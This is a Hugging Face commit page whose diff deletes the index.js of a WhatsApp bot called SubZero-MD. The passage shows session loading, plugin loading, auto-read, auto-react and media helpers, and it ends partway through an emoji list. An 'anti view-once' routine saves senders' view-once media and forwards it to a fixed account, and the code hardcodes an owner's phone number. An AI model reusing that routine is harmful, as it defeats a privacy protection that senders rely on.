Spaces:
Sleeping
Sleeping
mrfrank-ofc
commited on
Delete index.js
Browse files
index.js
DELETED
@@ -1,624 +0,0 @@
|
|
1 |
-
const {
|
2 |
-
default: makeWASocket,
|
3 |
-
useMultiFileAuthState,
|
4 |
-
DisconnectReason,
|
5 |
-
jidNormalizedUser,
|
6 |
-
getContentType,
|
7 |
-
proto,
|
8 |
-
generateWAMessageContent,
|
9 |
-
generateWAMessage,
|
10 |
-
AnyMessageContent,
|
11 |
-
prepareWAMessageMedia,
|
12 |
-
areJidsSameUser,
|
13 |
-
downloadContentFromMessage,
|
14 |
-
MessageRetryMap,
|
15 |
-
generateForwardMessageContent,
|
16 |
-
generateWAMessageFromContent,
|
17 |
-
generateMessageID, makeInMemoryStore,
|
18 |
-
jidDecode,
|
19 |
-
fetchLatestBaileysVersion,
|
20 |
-
Browsers
|
21 |
-
} = require('@whiskeysockets/baileys')
|
22 |
-
|
23 |
-
|
24 |
-
const l = console.log
|
25 |
-
const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson } = require('./lib/functions')
|
26 |
-
const fs = require('fs')
|
27 |
-
const ff = require('fluent-ffmpeg')
|
28 |
-
const P = require('pino')
|
29 |
-
const config = require('./config')
|
30 |
-
const qrcode = require('qrcode-terminal')
|
31 |
-
const StickersTypes = require('wa-sticker-formatter')
|
32 |
-
const util = require('util')
|
33 |
-
const { sms,downloadMediaMessage } = require('./lib/msg')
|
34 |
-
const FileType = require('file-type');
|
35 |
-
const axios = require('axios')
|
36 |
-
const { File } = require('megajs')
|
37 |
-
const { fromBuffer } = require('file-type')
|
38 |
-
const bodyparser = require('body-parser')
|
39 |
-
const os = require('os')
|
40 |
-
const Crypto = require('crypto')
|
41 |
-
const path = require('path')
|
42 |
-
const prefix = config.PREFIX
|
43 |
-
|
44 |
-
const ownerNumber = ['263719647303']
|
45 |
-
|
46 |
-
const tempDir = path.join(os.tmpdir(), 'cache-temp')
|
47 |
-
if (!fs.existsSync(tempDir)) {
|
48 |
-
fs.mkdirSync(tempDir)
|
49 |
-
}
|
50 |
-
|
51 |
-
const clearTempDir = () => {
|
52 |
-
fs.readdir(tempDir, (err, files) => {
|
53 |
-
if (err) throw err;
|
54 |
-
for (const file of files) {
|
55 |
-
fs.unlink(path.join(tempDir, file), err => {
|
56 |
-
if (err) throw err;
|
57 |
-
});
|
58 |
-
}
|
59 |
-
});
|
60 |
-
}
|
61 |
-
|
62 |
-
// Clear the temp directory every 5 minutes
|
63 |
-
setInterval(clearTempDir, 5 * 60 * 1000);
|
64 |
-
|
65 |
-
//===================SESSION-AUTH============================
|
66 |
-
if (!fs.existsSync(__dirname + '/sessions/creds.json')) {
|
67 |
-
if(!config.SESSION_ID) return console.log('Please add your session to SESSION_ID env !!')
|
68 |
-
const sessdata = config.SESSION_ID.replace("SUBZERO-MD~", '');//Do not touch this
|
69 |
-
const filer = File.fromURL(`https://mega.nz/file/${sessdata}`)
|
70 |
-
filer.download((err, data) => {
|
71 |
-
if(err) throw err
|
72 |
-
fs.writeFile(__dirname + '/sessions/creds.json', data, () => {
|
73 |
-
console.log("SubZero Session downloaded ✅")
|
74 |
-
})})}
|
75 |
-
|
76 |
-
const express = require("express");
|
77 |
-
const app = express();
|
78 |
-
const port = process.env.PORT || 9090;
|
79 |
-
|
80 |
-
//=============================================
|
81 |
-
|
82 |
-
async function connectToWA() {
|
83 |
-
console.log("[ ❄️ ] SubZero Connecting to WhatsApp ⏳️...");
|
84 |
-
const { state, saveCreds } = await useMultiFileAuthState(__dirname + '/sessions/')
|
85 |
-
var { version } = await fetchLatestBaileysVersion()
|
86 |
-
|
87 |
-
const conn = makeWASocket({
|
88 |
-
logger: P({ level: 'silent' }),
|
89 |
-
printQRInTerminal: false,
|
90 |
-
browser: Browsers.macOS("Firefox"),
|
91 |
-
syncFullHistory: true,
|
92 |
-
auth: state,
|
93 |
-
version
|
94 |
-
})
|
95 |
-
|
96 |
-
conn.ev.on('connection.update', (update) => {
|
97 |
-
const { connection, lastDisconnect } = update
|
98 |
-
if (connection === 'close') {
|
99 |
-
if (lastDisconnect.error.output.statusCode !== DisconnectReason.loggedOut) {
|
100 |
-
connectToWA()
|
101 |
-
}
|
102 |
-
} else if (connection === 'open') {
|
103 |
-
console.log('[ ❄️ ] 🛠️ Installing Plugins.')
|
104 |
-
const path = require('path');
|
105 |
-
fs.readdirSync("./plugins/").forEach((plugin) => {
|
106 |
-
if (path.extname(plugin).toLowerCase() == ".js") {
|
107 |
-
require("./plugins/" + plugin);
|
108 |
-
}
|
109 |
-
});
|
110 |
-
console.log('[ ❄️ ] Plugins installed successful ✅')
|
111 |
-
console.log('[ ❄️ ] SubZero MD connected to whatsapp ✅')
|
112 |
-
|
113 |
-
let up = `*Hi Owner😇, Congrats SubZero Connected Successfully🧸! \ud83d\udc4b\ud83c\udffb* \n\n> Light, Cold, Icy, Fast & Rich Loaded With Features, SubZero W.A Bot.\n\n *Thanks for using SUBZERO-MD ❄️* \n\n> Join WhatsApp Channel :- 🛠️\n \nhttps://whatsapp.com/channel/0029VagQEmB002T7MWo3Sj1D\n\n- *ყσµɾ ɓσƭ ρɾεƒเא ➜* ${prefix}\n\nDont forget to star our repo☺ \n\nhttps://github.com/mrfrank-ofc/SUBZERO-MD\n\n> © 🎐ᴘϙᴡᴇʀᴇᴅ ʙʏ ᴍʀ ꜰʀᴀɴᴋ ᴏꜰᴄ ⚡`;
|
114 |
-
conn.sendMessage(conn.user.id, { image: { url: `https://i.ibb.co/8NBwB9P/mrfrankofc.jpg` }, caption: up })
|
115 |
-
}
|
116 |
-
})
|
117 |
-
conn.ev.on('creds.update', saveCreds)
|
118 |
-
|
119 |
-
//=============readstatus=======
|
120 |
-
|
121 |
-
conn.ev.on('messages.upsert', async(mek) => {
|
122 |
-
mek = mek.messages[0]
|
123 |
-
if (!mek.message) return
|
124 |
-
mek.message = (getContentType(mek.message) === 'ephemeralMessage')
|
125 |
-
? mek.message.ephemeralMessage.message
|
126 |
-
: mek.message;
|
127 |
-
if (config.READ_MESSAGE === 'true') {
|
128 |
-
await conn.readMessages([mek.key]); // Mark message as read
|
129 |
-
console.log(`Marked message from ${mek.key.remoteJid} as read.`);
|
130 |
-
}
|
131 |
-
if(mek.message.viewOnceMessageV2)
|
132 |
-
mek.message = (getContentType(mek.message) === 'ephemeralMessage') ? mek.message.ephemeralMessage.message : mek.message
|
133 |
-
if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_SEEN === "true"){
|
134 |
-
await conn.readMessages([mek.key])
|
135 |
-
}
|
136 |
-
if (mek.key && mek.key.remoteJid === 'status@broadcast' && config.AUTO_STATUS_REPLY === "true"){
|
137 |
-
const user = mek.key.participant
|
138 |
-
const text = `${config.AUTO_STATUS_MSG}`
|
139 |
-
await conn.sendMessage(user, { text: text, react: { text: '💜', key: mek.key } }, { quoted: mek })
|
140 |
-
}
|
141 |
-
let jawadik = mek.message.viewOnceMessageV2
|
142 |
-
let jawadik1 = mek.mtype === "viewOnceMessage"
|
143 |
-
if (jawadik && config.ANTI_VV === "true") {
|
144 |
-
if (jawadik.message.imageMessage) {
|
145 |
-
let cap = jawadik.message.imageMessage.caption;
|
146 |
-
let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.imageMessage);
|
147 |
-
return conn.sendMessage("[email protected]", { image: { url: anu }, caption: cap }, { quoted: mek });
|
148 |
-
} if (jawadik.message.videoMessage) {
|
149 |
-
let cap = jawadik.message.videoMessage.caption;
|
150 |
-
let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.videoMessage);
|
151 |
-
return conn.sendMessage("[email protected]", { video: { url: anu }, caption: cap }, { quoted: mek });
|
152 |
-
} if (jawadik.message.audioMessage) {
|
153 |
-
let anu = await conn.downloadAndSaveMediaMessage(jawadik.message.audioMessage);
|
154 |
-
return conn.sendMessage("[email protected]", { audio: { url: anu }, caption: cap }, { quoted: mek });
|
155 |
-
}
|
156 |
-
}
|
157 |
-
const m = sms(conn, mek)
|
158 |
-
const type = getContentType(mek.message)
|
159 |
-
const content = JSON.stringify(mek.message)
|
160 |
-
const from = mek.key.remoteJid
|
161 |
-
const quoted = type == 'extendedTextMessage' && mek.message.extendedTextMessage.contextInfo != null ? mek.message.extendedTextMessage.contextInfo.quotedMessage || [] : []
|
162 |
-
const body = (type === 'conversation') ? mek.message.conversation : (type === 'extendedTextMessage') ? mek.message.extendedTextMessage.text : (type == 'imageMessage') && mek.message.imageMessage.caption ? mek.message.imageMessage.caption : (type == 'videoMessage') && mek.message.videoMessage.caption ? mek.message.videoMessage.caption : ''
|
163 |
-
const isCmd = body.startsWith(prefix)
|
164 |
-
const command = isCmd ? body.slice(prefix.length).trim().split(' ').shift().toLowerCase() : ''
|
165 |
-
const args = body.trim().split(/ +/).slice(1)
|
166 |
-
const q = args.join(' ')
|
167 |
-
const isGroup = from.endsWith('@g.us')
|
168 |
-
const sender = mek.key.fromMe ? (conn.user.id.split(':')[0]+'@s.whatsapp.net' || conn.user.id) : (mek.key.participant || mek.key.remoteJid)
|
169 |
-
const senderNumber = sender.split('@')[0]
|
170 |
-
const botNumber = conn.user.id.split(':')[0]
|
171 |
-
const pushname = mek.pushName || 'Sin Nombre'
|
172 |
-
const isMe = botNumber.includes(senderNumber)
|
173 |
-
const isOwner = ownerNumber.includes(senderNumber) || isMe
|
174 |
-
const botNumber2 = await jidNormalizedUser(conn.user.id);
|
175 |
-
const groupMetadata = isGroup ? await conn.groupMetadata(from).catch(e => {}) : ''
|
176 |
-
const groupName = isGroup ? groupMetadata.subject : ''
|
177 |
-
const participants = isGroup ? await groupMetadata.participants : ''
|
178 |
-
const groupAdmins = isGroup ? await getGroupAdmins(participants) : ''
|
179 |
-
const isBotAdmins = isGroup ? groupAdmins.includes(botNumber2) : false
|
180 |
-
const isAdmins = isGroup ? groupAdmins.includes(sender) : false
|
181 |
-
const isReact = m.message.reactionMessage ? true : false
|
182 |
-
const reply = (teks) => {
|
183 |
-
conn.sendMessage(from, { text: teks }, { quoted: mek })
|
184 |
-
}
|
185 |
-
//===================================================
|
186 |
-
conn.decodeJid = jid => {
|
187 |
-
if (!jid) return jid;
|
188 |
-
if (/:\d+@/gi.test(jid)) {
|
189 |
-
let decode = jidDecode(jid) || {};
|
190 |
-
return (
|
191 |
-
(decode.user &&
|
192 |
-
decode.server &&
|
193 |
-
decode.user + '@' + decode.server) ||
|
194 |
-
jid
|
195 |
-
);
|
196 |
-
} else return jid;
|
197 |
-
};
|
198 |
-
//===================================================
|
199 |
-
conn.copyNForward = async(jid, message, forceForward = false, options = {}) => {
|
200 |
-
let vtype
|
201 |
-
if (options.readViewOnce) {
|
202 |
-
message.message = message.message && message.message.ephemeralMessage && message.message.ephemeralMessage.message ? message.message.ephemeralMessage.message : (message.message || undefined)
|
203 |
-
vtype = Object.keys(message.message.viewOnceMessage.message)[0]
|
204 |
-
delete(message.message && message.message.ignore ? message.message.ignore : (message.message || undefined))
|
205 |
-
delete message.message.viewOnceMessage.message[vtype].viewOnce
|
206 |
-
message.message = {
|
207 |
-
...message.message.viewOnceMessage.message
|
208 |
-
}
|
209 |
-
}
|
210 |
-
|
211 |
-
let mtype = Object.keys(message.message)[0]
|
212 |
-
let content = await generateForwardMessageContent(message, forceForward)
|
213 |
-
let ctype = Object.keys(content)[0]
|
214 |
-
let context = {}
|
215 |
-
if (mtype != "conversation") context = message.message[mtype].contextInfo
|
216 |
-
content[ctype].contextInfo = {
|
217 |
-
...context,
|
218 |
-
...content[ctype].contextInfo
|
219 |
-
}
|
220 |
-
const waMessage = await generateWAMessageFromContent(jid, content, options ? {
|
221 |
-
...content[ctype],
|
222 |
-
...options,
|
223 |
-
...(options.contextInfo ? {
|
224 |
-
contextInfo: {
|
225 |
-
...content[ctype].contextInfo,
|
226 |
-
...options.contextInfo
|
227 |
-
}
|
228 |
-
} : {})
|
229 |
-
} : {})
|
230 |
-
await conn.relayMessage(jid, waMessage.message, { messageId: waMessage.key.id })
|
231 |
-
return waMessage
|
232 |
-
}
|
233 |
-
//=================================================
|
234 |
-
conn.downloadAndSaveMediaMessage = async(message, filename, attachExtension = true) => {
|
235 |
-
let quoted = message.msg ? message.msg : message
|
236 |
-
let mime = (message.msg || message).mimetype || ''
|
237 |
-
let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0]
|
238 |
-
const stream = await downloadContentFromMessage(quoted, messageType)
|
239 |
-
let buffer = Buffer.from([])
|
240 |
-
for await (const chunk of stream) {
|
241 |
-
buffer = Buffer.concat([buffer, chunk])
|
242 |
-
}
|
243 |
-
let type = await FileType.fromBuffer(buffer)
|
244 |
-
trueFileName = attachExtension ? (filename + '.' + type.ext) : filename
|
245 |
-
// save to file
|
246 |
-
await fs.writeFileSync(trueFileName, buffer)
|
247 |
-
return trueFileName
|
248 |
-
}
|
249 |
-
//=================================================
|
250 |
-
conn.downloadMediaMessage = async(message) => {
|
251 |
-
let mime = (message.msg || message).mimetype || ''
|
252 |
-
let messageType = message.mtype ? message.mtype.replace(/Message/gi, '') : mime.split('/')[0]
|
253 |
-
const stream = await downloadContentFromMessage(message, messageType)
|
254 |
-
let buffer = Buffer.from([])
|
255 |
-
for await (const chunk of stream) {
|
256 |
-
buffer = Buffer.concat([buffer, chunk])
|
257 |
-
}
|
258 |
-
|
259 |
-
return buffer
|
260 |
-
}
|
261 |
-
|
262 |
-
/**
|
263 |
-
*
|
264 |
-
* @param {*} jid
|
265 |
-
* @param {*} message
|
266 |
-
* @param {*} forceForward
|
267 |
-
* @param {*} options
|
268 |
-
* @returns
|
269 |
-
*/
|
270 |
-
//================================================
|
271 |
-
conn.sendFileUrl = async (jid, url, caption, quoted, options = {}) => {
|
272 |
-
let mime = '';
|
273 |
-
let res = await axios.head(url)
|
274 |
-
mime = res.headers['content-type']
|
275 |
-
if (mime.split("/")[1] === "gif") {
|
276 |
-
return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, gifPlayback: true, ...options }, { quoted: quoted, ...options })
|
277 |
-
}
|
278 |
-
let type = mime.split("/")[0] + "Message"
|
279 |
-
if (mime === "application/pdf") {
|
280 |
-
return conn.sendMessage(jid, { document: await getBuffer(url), mimetype: 'application/pdf', caption: caption, ...options }, { quoted: quoted, ...options })
|
281 |
-
}
|
282 |
-
if (mime.split("/")[0] === "image") {
|
283 |
-
return conn.sendMessage(jid, { image: await getBuffer(url), caption: caption, ...options }, { quoted: quoted, ...options })
|
284 |
-
}
|
285 |
-
if (mime.split("/")[0] === "video") {
|
286 |
-
return conn.sendMessage(jid, { video: await getBuffer(url), caption: caption, mimetype: 'video/mp4', ...options }, { quoted: quoted, ...options })
|
287 |
-
}
|
288 |
-
if (mime.split("/")[0] === "audio") {
|
289 |
-
return conn.sendMessage(jid, { audio: await getBuffer(url), caption: caption, mimetype: 'audio/mpeg', ...options }, { quoted: quoted, ...options })
|
290 |
-
}
|
291 |
-
}
|
292 |
-
//==========================================================
|
293 |
-
conn.cMod = (jid, copy, text = '', sender = conn.user.id, options = {}) => {
|
294 |
-
//let copy = message.toJSON()
|
295 |
-
let mtype = Object.keys(copy.message)[0]
|
296 |
-
let isEphemeral = mtype === 'ephemeralMessage'
|
297 |
-
if (isEphemeral) {
|
298 |
-
mtype = Object.keys(copy.message.ephemeralMessage.message)[0]
|
299 |
-
}
|
300 |
-
let msg = isEphemeral ? copy.message.ephemeralMessage.message : copy.message
|
301 |
-
let content = msg[mtype]
|
302 |
-
if (typeof content === 'string') msg[mtype] = text || content
|
303 |
-
else if (content.caption) content.caption = text || content.caption
|
304 |
-
else if (content.text) content.text = text || content.text
|
305 |
-
if (typeof content !== 'string') msg[mtype] = {
|
306 |
-
...content,
|
307 |
-
...options
|
308 |
-
}
|
309 |
-
if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant
|
310 |
-
else if (copy.key.participant) sender = copy.key.participant = sender || copy.key.participant
|
311 |
-
if (copy.key.remoteJid.includes('@s.whatsapp.net')) sender = sender || copy.key.remoteJid
|
312 |
-
else if (copy.key.remoteJid.includes('@broadcast')) sender = sender || copy.key.remoteJid
|
313 |
-
copy.key.remoteJid = jid
|
314 |
-
copy.key.fromMe = sender === conn.user.id
|
315 |
-
|
316 |
-
return proto.WebMessageInfo.fromObject(copy)
|
317 |
-
}
|
318 |
-
|
319 |
-
|
320 |
-
/**
|
321 |
-
*
|
322 |
-
* @param {*} path
|
323 |
-
* @returns
|
324 |
-
*/
|
325 |
-
//=====================================================
|
326 |
-
conn.getFile = async(PATH, save) => {
|
327 |
-
let res
|
328 |
-
let data = Buffer.isBuffer(PATH) ? PATH : /^data:.*?\/.*?;base64,/i.test(PATH) ? Buffer.from(PATH.split `,` [1], 'base64') : /^https?:\/\//.test(PATH) ? await (res = await getBuffer(PATH)) : fs.existsSync(PATH) ? (filename = PATH, fs.readFileSync(PATH)) : typeof PATH === 'string' ? PATH : Buffer.alloc(0)
|
329 |
-
//if (!Buffer.isBuffer(data)) throw new TypeError('Result is not a buffer')
|
330 |
-
let type = await FileType.fromBuffer(data) || {
|
331 |
-
mime: 'application/octet-stream',
|
332 |
-
ext: '.bin'
|
333 |
-
}
|
334 |
-
let filename = path.join(__filename, __dirname + new Date * 1 + '.' + type.ext)
|
335 |
-
if (data && save) fs.promises.writeFile(filename, data)
|
336 |
-
return {
|
337 |
-
res,
|
338 |
-
filename,
|
339 |
-
size: await getSizeMedia(data),
|
340 |
-
...type,
|
341 |
-
data
|
342 |
-
}
|
343 |
-
|
344 |
-
}
|
345 |
-
//=====================================================
|
346 |
-
conn.sendFile = async(jid, PATH, fileName, quoted = {}, options = {}) => {
|
347 |
-
let types = await conn.getFile(PATH, true)
|
348 |
-
let { filename, size, ext, mime, data } = types
|
349 |
-
let type = '',
|
350 |
-
mimetype = mime,
|
351 |
-
pathFile = filename
|
352 |
-
if (options.asDocument) type = 'document'
|
353 |
-
if (options.asSticker || /webp/.test(mime)) {
|
354 |
-
let { writeExif } = require('./exif.js')
|
355 |
-
let media = { mimetype: mime, data }
|
356 |
-
pathFile = await writeExif(media, { packname: Config.packname, author: Config.packname, categories: options.categories ? options.categories : [] })
|
357 |
-
await fs.promises.unlink(filename)
|
358 |
-
type = 'sticker'
|
359 |
-
mimetype = 'image/webp'
|
360 |
-
} else if (/image/.test(mime)) type = 'image'
|
361 |
-
else if (/video/.test(mime)) type = 'video'
|
362 |
-
else if (/audio/.test(mime)) type = 'audio'
|
363 |
-
else type = 'document'
|
364 |
-
await conn.sendMessage(jid, {
|
365 |
-
[type]: { url: pathFile },
|
366 |
-
mimetype,
|
367 |
-
fileName,
|
368 |
-
...options
|
369 |
-
}, { quoted, ...options })
|
370 |
-
return fs.promises.unlink(pathFile)
|
371 |
-
}
|
372 |
-
//=====================================================
|
373 |
-
conn.parseMention = async(text) => {
|
374 |
-
return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net')
|
375 |
-
}
|
376 |
-
//=====================================================
|
377 |
-
conn.sendMedia = async(jid, path, fileName = '', caption = '', quoted = '', options = {}) => {
|
378 |
-
let types = await conn.getFile(path, true)
|
379 |
-
let { mime, ext, res, data, filename } = types
|
380 |
-
if (res && res.status !== 200 || file.length <= 65536) {
|
381 |
-
try { throw { json: JSON.parse(file.toString()) } } catch (e) { if (e.json) throw e.json }
|
382 |
-
}
|
383 |
-
let type = '',
|
384 |
-
mimetype = mime,
|
385 |
-
pathFile = filename
|
386 |
-
if (options.asDocument) type = 'document'
|
387 |
-
if (options.asSticker || /webp/.test(mime)) {
|
388 |
-
let { writeExif } = require('./exif')
|
389 |
-
let media = { mimetype: mime, data }
|
390 |
-
pathFile = await writeExif(media, { packname: options.packname ? options.packname : Config.packname, author: options.author ? options.author : Config.author, categories: options.categories ? options.categories : [] })
|
391 |
-
await fs.promises.unlink(filename)
|
392 |
-
type = 'sticker'
|
393 |
-
mimetype = 'image/webp'
|
394 |
-
} else if (/image/.test(mime)) type = 'image'
|
395 |
-
else if (/video/.test(mime)) type = 'video'
|
396 |
-
else if (/audio/.test(mime)) type = 'audio'
|
397 |
-
else type = 'document'
|
398 |
-
await conn.sendMessage(jid, {
|
399 |
-
[type]: { url: pathFile },
|
400 |
-
caption,
|
401 |
-
mimetype,
|
402 |
-
fileName,
|
403 |
-
...options
|
404 |
-
}, { quoted, ...options })
|
405 |
-
return fs.promises.unlink(pathFile)
|
406 |
-
}
|
407 |
-
/**
|
408 |
-
*
|
409 |
-
* @param {*} message
|
410 |
-
* @param {*} filename
|
411 |
-
* @param {*} attachExtension
|
412 |
-
* @returns
|
413 |
-
*/
|
414 |
-
//=====================================================
|
415 |
-
conn.sendVideoAsSticker = async (jid, buff, options = {}) => {
|
416 |
-
let buffer;
|
417 |
-
if (options && (options.packname || options.author)) {
|
418 |
-
buffer = await writeExifVid(buff, options);
|
419 |
-
} else {
|
420 |
-
buffer = await videoToWebp(buff);
|
421 |
-
}
|
422 |
-
await conn.sendMessage(
|
423 |
-
jid,
|
424 |
-
{ sticker: { url: buffer }, ...options },
|
425 |
-
options
|
426 |
-
);
|
427 |
-
};
|
428 |
-
//=====================================================
|
429 |
-
conn.sendImageAsSticker = async (jid, buff, options = {}) => {
|
430 |
-
let buffer;
|
431 |
-
if (options && (options.packname || options.author)) {
|
432 |
-
buffer = await writeExifImg(buff, options);
|
433 |
-
} else {
|
434 |
-
buffer = await imageToWebp(buff);
|
435 |
-
}
|
436 |
-
await conn.sendMessage(
|
437 |
-
jid,
|
438 |
-
{ sticker: { url: buffer }, ...options },
|
439 |
-
options
|
440 |
-
);
|
441 |
-
};
|
442 |
-
/**
|
443 |
-
*
|
444 |
-
* @param {*} jid
|
445 |
-
* @param {*} path
|
446 |
-
* @param {*} quoted
|
447 |
-
* @param {*} options
|
448 |
-
* @returns
|
449 |
-
*/
|
450 |
-
//=====================================================
|
451 |
-
conn.sendTextWithMentions = async(jid, text, quoted, options = {}) => conn.sendMessage(jid, { text: text, contextInfo: { mentionedJid: [...text.matchAll(/@(\d{0,16})/g)].map(v => v[1] + '@s.whatsapp.net') }, ...options }, { quoted })
|
452 |
-
|
453 |
-
/**
|
454 |
-
*
|
455 |
-
* @param {*} jid
|
456 |
-
* @param {*} path
|
457 |
-
* @param {*} quoted
|
458 |
-
* @param {*} options
|
459 |
-
* @returns
|
460 |
-
*/
|
461 |
-
//=====================================================
|
462 |
-
conn.sendImage = async(jid, path, caption = '', quoted = '', options) => {
|
463 |
-
let buffer = Buffer.isBuffer(path) ? path : /^data:.*?\/.*?;base64,/i.test(path) ? Buffer.from(path.split `,` [1], 'base64') : /^https?:\/\//.test(path) ? await (await getBuffer(path)) : fs.existsSync(path) ? fs.readFileSync(path) : Buffer.alloc(0)
|
464 |
-
return await conn.sendMessage(jid, { image: buffer, caption: caption, ...options }, { quoted })
|
465 |
-
}
|
466 |
-
|
467 |
-
/**
|
468 |
-
*
|
469 |
-
* @param {*} jid
|
470 |
-
* @param {*} path
|
471 |
-
* @param {*} caption
|
472 |
-
* @param {*} quoted
|
473 |
-
* @param {*} options
|
474 |
-
* @returns
|
475 |
-
*/
|
476 |
-
//=====================================================
|
477 |
-
conn.sendText = (jid, text, quoted = '', options) => conn.sendMessage(jid, { text: text, ...options }, { quoted })
|
478 |
-
|
479 |
-
/**
|
480 |
-
*
|
481 |
-
* @param {*} jid
|
482 |
-
* @param {*} path
|
483 |
-
* @param {*} caption
|
484 |
-
* @param {*} quoted
|
485 |
-
* @param {*} options
|
486 |
-
* @returns
|
487 |
-
*/
|
488 |
-
//=====================================================
|
489 |
-
conn.sendButtonText = (jid, buttons = [], text, footer, quoted = '', options = {}) => {
|
490 |
-
let buttonMessage = {
|
491 |
-
text,
|
492 |
-
footer,
|
493 |
-
buttons,
|
494 |
-
headerType: 2,
|
495 |
-
...options
|
496 |
-
}
|
497 |
-
//========================================================================================================================================
|
498 |
-
conn.sendMessage(jid, buttonMessage, { quoted, ...options })
|
499 |
-
}
|
500 |
-
//=====================================================
|
501 |
-
conn.send5ButImg = async(jid, text = '', footer = '', img, but = [], thumb, options = {}) => {
|
502 |
-
let message = await prepareWAMessageMedia({ image: img, jpegThumbnail: thumb }, { upload: conn.waUploadToServer })
|
503 |
-
var template = generateWAMessageFromContent(jid, proto.Message.fromObject({
|
504 |
-
templateMessage: {
|
505 |
-
hydratedTemplate: {
|
506 |
-
imageMessage: message.imageMessage,
|
507 |
-
"hydratedContentText": text,
|
508 |
-
"hydratedFooterText": footer,
|
509 |
-
"hydratedButtons": but
|
510 |
-
}
|
511 |
-
}
|
512 |
-
}), options)
|
513 |
-
conn.relayMessage(jid, template.message, { messageId: template.key.id })
|
514 |
-
}
|
515 |
-
|
516 |
-
/**
|
517 |
-
*
|
518 |
-
* @param {*} jid
|
519 |
-
* @param {*} buttons
|
520 |
-
* @param {*} caption
|
521 |
-
* @param {*} footer
|
522 |
-
* @param {*} quoted
|
523 |
-
* @param {*} options
|
524 |
-
*/
|
525 |
-
|
526 |
-
//=====Auto-Read-Cmd==========
|
527 |
-
if (isCmd && config.READ_CMD === "true") {
|
528 |
-
await conn.readMessages([mek.key]) // Mark command as read
|
529 |
-
}
|
530 |
-
//================ownerreact==============
|
531 |
-
|
532 |
-
if(senderNumber.includes("263719647303")){
|
533 |
-
if(isReact) return
|
534 |
-
m.react("🧸")
|
535 |
-
}
|
536 |
-
|
537 |
-
//==========public react============//
|
538 |
-
// Auto React
|
539 |
-
if (!isReact && senderNumber !== botNumber) {
|
540 |
-
if (config.AUTO_REACT === 'true') {
|
541 |
-
const reactions = ['😊', '👍', '😂', '💯', '🔥', '🙏', '🎉', '👏', '😎', '🤖', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '🙂', '😑', '🤣', '😍', '😘', '😗', '😙', '😚', '😛', '😝', '😞', '😟', '😠', '😡', '😢', '😭', '😓', '😳', '😴', '😌', '😆', '😂', '🤔', '😒', '😓', '😶', '🙄', '🐶', '🐱', '🐔', '🐷', '🐴', '🐲', '🐸', '🐳', '🐋', '🐒', '🐑', '🐕', '🐩', '🍔', '🍕', '🥤', '🍣', '🍲', '🍴', '🍽', '🍹', 